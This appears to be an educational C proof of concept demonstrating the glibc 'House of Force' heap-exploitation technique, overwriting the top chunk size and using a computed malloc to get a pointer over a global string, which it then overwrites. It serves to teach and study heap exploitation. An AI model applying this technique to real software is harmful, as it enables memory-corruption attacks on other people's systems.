1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> #include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
}
|